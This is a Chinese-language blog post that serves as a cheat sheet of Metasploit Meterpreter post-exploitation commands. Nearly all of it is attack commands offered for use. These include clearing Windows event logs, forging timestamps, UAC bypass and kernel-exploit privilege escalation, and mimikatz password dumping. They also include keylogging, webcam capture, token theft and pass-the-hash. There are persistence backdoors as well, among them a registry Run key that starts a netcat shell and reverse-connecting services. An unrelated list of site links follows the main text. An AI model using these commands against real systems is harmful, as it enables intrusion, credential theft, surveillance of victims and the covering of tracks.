Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

0x01.系统命令

1)基本系统命令

  1. sessions #sessions –h 查看帮助
  2. sessions -i <ID值> #进入会话 -k 杀死会话
  3. background #将当前会话放置后台
  4. run #执行已有的模块,输入run后按两下tab,列出已有的脚本
  5. info #查看已有模块信息
  6. getuid # 查看权限
  7. getpid # 获取当前进程的pid
  8. sysinfo # 查看目标机系统信息
  9. ps # 查看当前活跃进程 kill <PID值> 杀死进程
  10. idletime #查看目标机闲置时间
  11. reboot / shutdown #重启/关机
  12. shell #进入目标机cmd shell

2)uictl开关键盘/鼠标

  1. uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
  2. uictl disable mouse #禁用鼠标
  3. uictl disable keyboard #禁用键盘

3)webcam摄像头命令

  1. webcam_list #查看摄像头
  2. webcam_snap #通过摄像头拍照
  3. webcam_stream #通过摄像头开启视频


4)execute执行文件

  1. execute #在目标机中执行文件
  2. execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

5)migrate进程迁移

  1. getpid # 获取当前进程的pid
  2. ps # 查看当前活跃进程
  3. migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
  4. kill <pid值> #杀死进程

6)clearav清除日志

  1. clearav #清除windows中的应用程序日志、系统日志、安全日志

0x02.文件系统命令

1)基本文件系统命令

  1. getwd 或者pwd # 查看当前工作目录
  2. ls
  3. cd
  4. search -f *pass* # 搜索文件 -h查看帮助
  5. cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
  6. upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
  7. download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
  8. edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件
  9. rm C:\\lltest\\hack.txt
  10. mkdir lltest2 #只能在当前目录下创建文件夹
  11. rmdir lltest2 #只能删除当前目录下文件夹
  12. getlwd 或者 lpwd #操作攻击者主机 查看当前目录
  13. lcd /tmp #操作攻击者主机 切换目录

2)timestomp伪造时间戳

  1. timestomp C:// -h #查看帮助
  2. timestomp -v C://2.txt #查看时间戳
  3. timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

0x03.网络命令

1)基本网络命令

  1. ipconfig/ifconfig
  2. netstat ano
  3. arp
  4. getproxy #查看代理信息
  5. route #查看路由

2)portfwd端口转发

  1. portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口


3)autoroute添加路由

  1. run autoroute h #查看帮助
  2. run autoroute -s 192.168.159.0/24 #添加到目标环境网络
  3. run autoroute p #查看添加的路由

然后可以利用arp_scanner、portscan等进行扫描

  1. run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
  2. run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389


4)Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

  1. msf> use auxiliary/server/socks4a
  2. msf > set srvhost 127.0.0.1
  3. msf > set srvport 1080
  4. msf > run

然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问

0x04.信息收集

信息收集的脚本位于:

  1. /usr/share/metasploit-framework/modules/post/windows/gather
  2. /usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

  1. run post/windows/gather/checkvm #是否虚拟机
  2. run post/linux/gather/checkvm #是否虚拟机
  3. run post/windows/gather/forensics/enum_drives #查看分区
  4. run post/windows/gather/enum_applications #获取安装软件信息
  5. run post/windows/gather/dumplinks #获取最近的文件操作
  6. run post/windows/gather/enum_ie #获取IE缓存
  7. run post/windows/gather/enum_chrome #获取Chrome缓存
  8. run post/windows/gather/enum_patches #补丁信息
  9. run post/windows/gather/enum_domain #查找域控

0x05.提权

1)getsystem提权

  1. getsystem

getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2)bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

  1. use exploit/windows/local/bypassuac
  2. use exploit/windows/local/bypassuac_injection
  3. use windows/local/bypassuac_vbs
  4. use windows/local/ask

如使用bypassuac.rb脚本:

  1. msf > use exploit/windows/local/bypassuac
  2. msf > set SESSION 2
  3. msf > run

3)内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

  1. meterpreter > run post/windows/gather/enum_patches #查看补丁信息
  2. msf > use exploit/windows/local/ms13_053_schlamperei
  3. msf > set SESSION 2
  4. msf > exploit


0x06.mimikatz抓取密码

  1. load mimikatz #help mimikatz 查看帮助
  2. wdigest #获取Wdigest密码
  3. mimikatz_command -f samdump::hashes #执行mimikatz原始命令
  4. mimikatz_command -f sekurlsa::searchPasswords


0x07.远程桌面&截屏

  1. enumdesktops #查看可用的桌面
  2. getdesktop #获取当前meterpreter 关联的桌面
  3. set_desktop #设置meterpreter关联的桌面 -h查看帮助
  4. screenshot #截屏
  5. use espia #或者使用espia模块截屏 然后输入screengrab
  6. run vnc #使用vnc远程桌面连接


0x08.开启rdp&添加用户

1)getgui命令

  1. run getgui h #查看帮助
  2. run getgui -e #开启远程桌面
  3. run getgui -u lltest2 -p 123456 #添加用户
  4. run getgui -f 6661 e #3389端口转发到6661

getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

2)enable_rdp脚本

  1. run post/windows/manage/enable_rdp #开启远程桌面
  2. run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
  3. run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

0x09.键盘记录

  1. keyscan_start #开始键盘记录
  2. keyscan_dump #导出记录数据
  3. keyscan_stop #结束键盘记录

0x10.sniffer抓包

  1. use sniffer
  2. sniffer_interfaces #查看网卡
  3. sniffer_start 2 #选择网卡 开始抓包
  4. sniffer_stats 2 #查看状态
  5. sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
  6. sniffer_stop 2 #停止抓包

0x11.注册表操作

1)注册表基本命令

  1. reg h
  2. -d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
  3. enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据

2)注册表设置nc后门

  1. upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
  2. reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
  3. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
  4. reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
  5. nc -v 192.168.159.144 443 #攻击者连接nc后门



0x12.令牌操纵

1)incognito假冒令牌

  1. use incognito #help incognito 查看帮助
  2. list_tokens -u #查看可用的token
  3. impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
  4. 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
  5. execute -f cmd.exe -i t # -t 使用假冒的token 执行
  6. 或者直接shell
  7. rev2self #返回原始token

2)steal_token窃取令牌

  1. steal_token <pid值> #从指定进程中窃取token 先ps
  2. drop_token #删除窃取的token

0x13.哈希利用

1)获取哈希

  1. run post/windows/gather/smart_hashdump #从SAM导出密码哈希
  2. #需要SYSTEM权限

2)PSExec哈希传递

通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享

  1. msf > use exploit/windows/smb/psexec
  2. msf > set payload windows/meterpreter/reverse_tcp
  3. msf > set LHOST 192.168.159.134
  4. msf > set LPORT 443
  5. msf > set RHOST 192.168.159.144
  6. msf >set SMBUser Administrator
  7. msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
  8. msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
  9. msf >exploit


0x14.后门植入

metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

1)persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

  1. run persistence h #查看帮助
  2. run persistence -X -i 5 -p 6661 -r 192.168.159.134
  3. #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip


连接后门

  1. msf > use exploit/multi/handler
  2. msf > set payload windows/meterpreter/reverse_tcp
  3. msf > set LHOST 192.168.159.134
  4. msf > set LPORT 6661
  5. msf > exploit

2)metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

  1. run metsvc h # 查看帮助
  2. run metsvc A #自动安装后门


连接后门

  1. msf > use exploit/multi/handler
  2. msf > set payload windows/metsvc_bind_tcp
  3. msf > set RHOST 192.168.159.144
  4. msf > set LPORT 31337
  5. msf > exploit

0x15.扫描脚本

扫描的脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多,仅列几个代表:

  1. use auxiliary/scanner/http/dir_scanner
  2. use auxiliary/scanner/http/jboss_vulnscan
  3. use auxiliary/scanner/mssql/mssql_login
  4. use auxiliary/scanner/mysql/mysql_version
  5. use auxiliary/scanner/oracle/oracle_login

后渗透之meterpreter使用攻略的更多相关文章

  1. Metasploit渗透使用攻略

    msf关于tomcat口令暴力猜解模块 use auxiliary/scanner/http/tomcat_mgr_login show options set rhosts 192.168.2.14 ...

  2. BZOJ3252: 攻略

    Description 题目简述:树版[k取方格数]   众所周知,桂木桂马是攻略之神,开启攻略之神模式后,他可以同时攻略k部游戏. 今天他得到了一款新游戏<XX半岛>,这款游戏有n个场景 ...

  3. 【BZOJ-3252】攻略 DFS序 + 线段树 + 贪心

    3252: 攻略 Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 339  Solved: 130[Submit][Status][Discuss] D ...

  4. 【贪心】 BZOJ 3252:攻略

    3252: 攻略 Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 261  Solved: 90[Submit][Status][Discuss] De ...

  5. BZOJ_3252_攻略_线段树+dfs序

    BZOJ_3252_攻略_线段树+dfs序 Description 题目简述:树版[k取方格数] 众所周知,桂木桂马是攻略之神,开启攻略之神模式后,他可以同时攻略k部游戏.今天他得到了一款新游戏< ...

  6. BZOJ3252攻略——长链剖分+贪心

    题目描述 题目简述:树版[k取方格数] 众所周知,桂木桂马是攻略之神,开启攻略之神模式后,他可以同时攻略k部游戏.今天他得到了一款新游戏<XX 半岛>,这款游戏有n个场景(scene),某 ...

  7. 【刷题】BZOJ 3252 攻略

    Description 题目简述:树版[k取方格数] 众所周知,桂木桂马是攻略之神,开启攻略之神模式后,他可以同时攻略k部游戏.今天他得到了一款新游戏<XX 半岛>,这款游戏有n个场景(s ...

  8. BZOJ3252 攻略 [树链剖分]

    题目传送门 攻略 Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 1169  Solved: 554[Submit][Status][Discuss] ...

  9. bzoj 3252: 攻略

    3252: 攻略 Description 题目简述:树版[k取方格数]   众所周知,桂木桂马是攻略之神,开启攻略之神模式后,他可以同时攻略k部游戏. 今天他得到了一款新游戏<XX半岛>, ...

随机推荐

  1. Opencv笔记(三)——视频的获取及保存

    一.利用摄像头获取视频 我们经常需要使用摄像头捕获实时图像.OpenCV 为这中应用提供了一个非常简单的接口.让我们使用摄像头来捕获一段视频,并把它转换成灰度视频显示出来.了获取视频,你应该创建一个 ...

  2. KMP匹配(模板)

    先粘上我入门KMP时看的大佬的博客:orz orz 从头到尾彻底理解KMP 我觉得这篇已经讲的很详细了,希望大家能坚持看下去. 步骤 ①寻找前缀后缀最长公共元素长度对于P = p0 p1 ...pj- ...

  3. 22)PHP,数组排序函数

    详情见:   手册:函数参考-->变量和类型相关扩展-->数组--->对数组进行排序

  4. O - Snacks(DFS序)

    百度科技园内有nn个零食机,零食机之间通过n−1n−1条路相互连通.每个零食机都有一个值vv,表示为小度熊提供零食的价值. 由于零食被频繁的消耗和补充,零食机的价值vv会时常发生变化.小度熊只能从编号 ...

  5. pycharm打印出的汉字显示乱码

    pycharm未配置时,默认配置为: 打印汉字时显示乱码 简单设置即可 这下以后就没有问题了.

  6. Apsara Clouder云计算专项技能认证:网站建设-简单动态网站搭建

    一.课程介绍 1.课程目标 了解静态网站和动态网站的区别 掌握动态网站的不同实现方式 在阿里云上如何搭建 wordPress网站以及 wordPress 网站的管理和优化 二.网站搭建的类型 1.网站 ...

  7. python Ajax的使用

    转自:http://www.cnblogs.com/python-study/p/6060530.html 1.使用Ajax在后台传递参数的示例 要使用Ajax传递参数,需要使用jquery,使用jq ...

  8. JDBC介绍和Mybatis运行原理及事务处理

    本博客内容非自创,转载自以下三位,侵删: https://juejin.im/post/5ab7bd11f265da23906bfbc5 https://my.oschina.net/fifadxj/ ...

  9. 发现个很有意思的angularjs +grunt 复习项目

    最近作运维工作 docker 接触到一个开源webui dockerui 原项目地址 https://github.com/crosbymichael/dockerui 用angular框架实现,项目 ...

  10. sm1、sm2、sm3、sm4简单介绍

    转自:https://blog.csdn.net/andylau00j/article/details/54427395 国密即国家密码局认定的国产密码算法.主要有SM1,SM2,SM3,SM4.密钥 ...